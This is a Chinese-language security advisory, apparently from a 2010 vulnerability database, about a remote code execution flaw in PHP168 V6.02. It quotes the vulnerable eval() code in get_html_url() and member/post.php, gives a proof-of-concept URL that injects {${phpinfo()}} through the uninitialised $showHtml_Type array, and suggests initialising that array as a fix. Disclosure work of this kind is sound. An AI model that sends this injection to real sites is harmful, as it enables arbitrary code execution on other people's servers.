PHP168 V6.02整站存在系统远程执行任意代码漏洞
添加时间:
2010-10-05
系统编号:
WAVDB-01705
影响版本:
PHP168 V6.02
程序介绍:
漏洞利用:
解决方案:
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.php168.net/
信息来源:
http://www.wooyun.org/bug.php?action=view&id=528
2010-10-05
系统编号:
WAVDB-01705
影响版本:
PHP168 V6.02
程序介绍:
PHP168整站是PHP领域当前功能最强大的建站系统,代码全部开源,可极其方便的进行二次开发,所有功能模块可以自由安装与删除,个人用户完全免费使用。
漏洞分析:
PHP168在某些函数里运用了eval函数,但是某数组没有初试化,导致可以提交任意代码执行.
漏洞出在inc/function.inc.php里面.get_html_url()这个函数. - function get_html_url(){
- global $rsdb,$aid,$fidDB,$webdb,$fid,$page,$showHtml_Type,$Html_Type;
- $id=$aid;
- if($page<1){
- $page=1;
- }
- $postdb[posttime]=$rsdb[posttime];
- if($showHtml_Type[bencandy][$id]){
- $filename_b=$showHtml_Type[bencandy][$id];
- }elseif($fidDB[bencandy_html]){
- $filename_b=$fidDB[bencandy_html];
- }else{
- $filename_b=$webdb[bencandy_filename];
- }
- //对于内容页的首页把$page去除
- if($page==1){
- $filename_b=preg_replace("/(.*)(-{\\\$page}|_{\\\$page})(.*)/is","\\1\\3",$filename_b);
- }
- $dirid=floor($aid/1000);
- //对于内容页的栏目小于1000篇文章时,把DIR分目录去除
- if($dirid==0){
- $filename_b=preg_replace("/(.*)(-{\\\$dirid}|_{\\\$dirid})(.*)/is","\\1\\3",$filename_b);
- }
- if(strstr($filename_b,'$time_')){
- $time_Y=date("Y",$postdb[posttime]);
- $time_y=date("y",$postdb[posttime]);
- $time_m=date("m",$postdb[posttime]);
- $time_d=date("d",$postdb[posttime]);
- $time_W=date("W",$postdb[posttime]);
- $time_H=date("H",$postdb[posttime]);
- $time_i=date("i",$postdb[posttime]);
- $time_s=date("s",$postdb[posttime]);
- }
- if($fidDB[list_html]){
- $filename_l=$fidDB[list_html];
- }else{
- $filename_l=$webdb[list_filename];
- }
- if($page==1){
- if($webdb[DefaultIndexHtml]==1){
- $filename_l=preg_replace("/(.*)\/([^\/]+)/is","\\1/index.html",$filename_l);
- }else{
- $filename_l=preg_replace("/(.*)\/([^\/]+)/is","\\1/index.htm",$filename_l);
- }
- }
- eval("\$array[_showurl]=\"$filename_b\";");
- eval("\$array[_listurl]=\"$filename_l\";");
- //自定义了栏目域名
- if($Html_Type[domain][$fid]&$Html_Type[domain_dir][$fid]){
- $rule=str_replace("/","\/",$Html_Type[domain_dir][$fid]);
- $filename_b=preg_replace("/^$rule/is","{$Html_Type[domain][$fid]}/",$filename_b);
- $filename_l=preg_replace("/^$rule/is","{$Html_Type[domain][$fid]}/",$filename_l);
- //特别处理一下些自定义内容页文件名的情况.
- if(!eregi("^http:\/\/",$filename_b)){
- $filename_b="$webdb[www_url]/$filename_b";
- }
- }else{
- $filename_b="$webdb[www_url]/$filename_b";
- $filename_l="$webdb[www_url]/$filename_l";
- }
- eval("\$array[showurl]=\"$filename_b\";");
- eval("\$array[listurl]=\"$filename_l\";");
- return $array;
- }
- 当$showHtml_Type这个数组存在时,赋值$filename_b为$showHtml_Type[bencandy][$id].跟一下这个get_html_url()函数.
- 在member/post.php中:
- if(!$aid&&!$rid){
- $aid=$id;
- }
- if($rid)
- {
- if(!$aid){
- showerr("aid不存在!");
- }
- $erp=get_id_table($aid);
- //修改主题或修改多页都可
- $rsdb=$db->get_one("SELECT R.*,A.* FROM {$pre}article$erp A LEFT JOIN {$pre}reply$erp R ON A.aid=R.aid WHERE R.rid='$rid'");
- $aid=$rsdb[aid];
- $fid=$rsdb[fid];
- $mid=$rsdb[mid];
- }
- elseif($aid)
- {
- $erp=get_id_table($aid);
- //只能是修改主题/续发文章
- $rsdb=$db->get_one("SELECT R.*,A.* FROM {$pre}article$erp A LEFT JOIN {$pre}reply$erp R ON A.aid=R.aid WHERE A.aid='$aid' ORDER BY R.rid ASC LIMIT 1");
- isset($fid) || $fid=$rsdb[fid];
- $mid=$rsdb[mid];
- }
- //让用户选择栏目
- if((!$fid&&!$only)||$jobs=="choose")
- {
- $sortdb=array();
- if( $webdb[sortNUM]>500||$fid ){
- $rows=100;
- $page<1 && $page=1;
- $min=($page-1)*$rows;
- $showpage=getpage("{$pre}sort","WHERE fup='$fid'","?lfj=$lfj&job=$job&jobs=$jobs&only=$only&mid=$mid&fid=$fid",$rows);
- $query = $db->query("SELECT * FROM {$pre}sort WHERE fup='$fid' ORDER BY list DESC,fid ASC LIMIT $min,$rows");
- while($rs = $db->fetch_array($query)){
- $rs[post]=$rs[NUM]=$rs[do_art]='';
- $detail_admin=@explode(",",$rs[admin]);
- $detail_allowpost=@explode(",",$rs[allowpost]);
- if(!$rs[type]&&( $web_admin||($lfjid&&@in_array($lfjid,$detail_admin))||@in_array($groupdb['gid'],$detail_allowpost) ))
- {
- $erp=$Fid_db[iftable][$rs[fid]];
- $_rs=$db->get_one("SELECT COUNT(*) AS NUM FROM {$pre}article$erp WHERE fid='$rs[fid]' AND uid='$lfjuid'");
- if($_rs[NUM]&$lfjid){
- $rs[NUM]="( <b>{$_rs[NUM]}</b> )";
- $rs[do_art]="<A HREF='myarticle.php?job=myarticle&fid=$rs[fid]' class='manage_article'>管理</A>";
- }
- $rs[post]="<A HREF='?job=postnew&fid=$rs[fid]' class='post_article'>发表</A>";
- $allowpost++;
- }
- $sortdb[]=$rs;
- }
- if($fid){
- $show_guide="<A HREF='?lfj=$lfj&jobs=$jobs&job=$job&only=$only&mid=$mid'>返回顶级目录</A> ".list_sort_guide($fid);
- }
- }else{
- list_post_allsort();
- if(!$allowpost){
- showerr("你所在用户组无权发表文章",1);
- }
- }
- $MSG="请选择一个栏目投稿";
- require(dirname(__FILE__)."/"."head.php");
- require(dirname(__FILE__)."/"."template/post_set.htm");
- require(dirname(__FILE__)."/"."foot.php");
- exit;
- }
- if($fid||$step){
- $fidDB=$db->get_one("SELECT * FROM {$pre}sort WHERE fid='$fid'");
- !$fidDB && showerr("栏目有误");
- $fidDB[type]!=0 && showerr("你只能选择子栏目发表内容!");
- }
- $job=='postnew' && !$mid && $mid=$fidDB[fmid];
- if($lfjid&&@in_array($lfjid,explode(',',$fidDB[admin])))
- {
- $web_admin=1;
- }
- if($fidDB&&!$web_admin&&!in_array($groupdb[gid],explode(',',$fidDB[allowpost])))
- {
- showerr("你所在用户组无权在本栏目“{$fidDB[name]}”有任何操作");
- }
- if(!$lfjid&$job!='postnew')
- {
- showerr("游客无权操作");
- }
- $atc_power=0;
- if($lfjid)
- {
- if($web_admin||$lfjuid==$rsdb[uid]){
- $atc_power=1;
- }
- }
- $uid=isset($rsdb[uid])?$rsdb[uid]:$lfjuid;
- if($job=='endHTML')
- {
- $htmlurldb=get_html_url();
- //首页生成静态
- @unlink(PHP168_PATH."index.htm.bak");
- rename(PHP168_PATH."index.htm",PHP168_PATH."index.htm.bak");
- refreshto("myarticle.php?job=myarticle&mid=$mid&only=$only","<CENTER>[<A HREF='?job=postnew&fid=$fid&mid=$mid&only=$only'>发表新主题</A>] [<A HREF='?job=post_more&aid=$aid&mid=$mid&only=$only'>续发本主题</A>] [<A HREF='myarticle.php?job=myarticle&fid=$fid&mid=$mid&only=$only'>返回文章列表</A>] [<A HREF='{$htmlurldb[showurl]}' target=_blank>查看文章</A>] [<A HREF='?job=manage&aid=$aid&mid=$mid&only=$only'>修改文章</A>]</CENTER>",60);
- }
当only或者fid不等于0时,且job等于"endHTML"时,执行函数.由于$showHtml_Type数组和$aid是可以由我们赋值的,所以漏洞产生.
漏洞利用:
先注册一个会员,登陆后在地址栏提交:
http://v6.php168.com/member/post.php?only=1&showHtml_Type[bencandy][1]={${phpinfo()}}&aid=1&job=endHTML
可以看到执行了phpinfo().
SEBUG安全建议:
SEBUG临时解决办法:
初始化$showHtml_Type数组.
解决方案:
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.php168.net/
信息来源:
http://www.wooyun.org/bug.php?action=view&id=528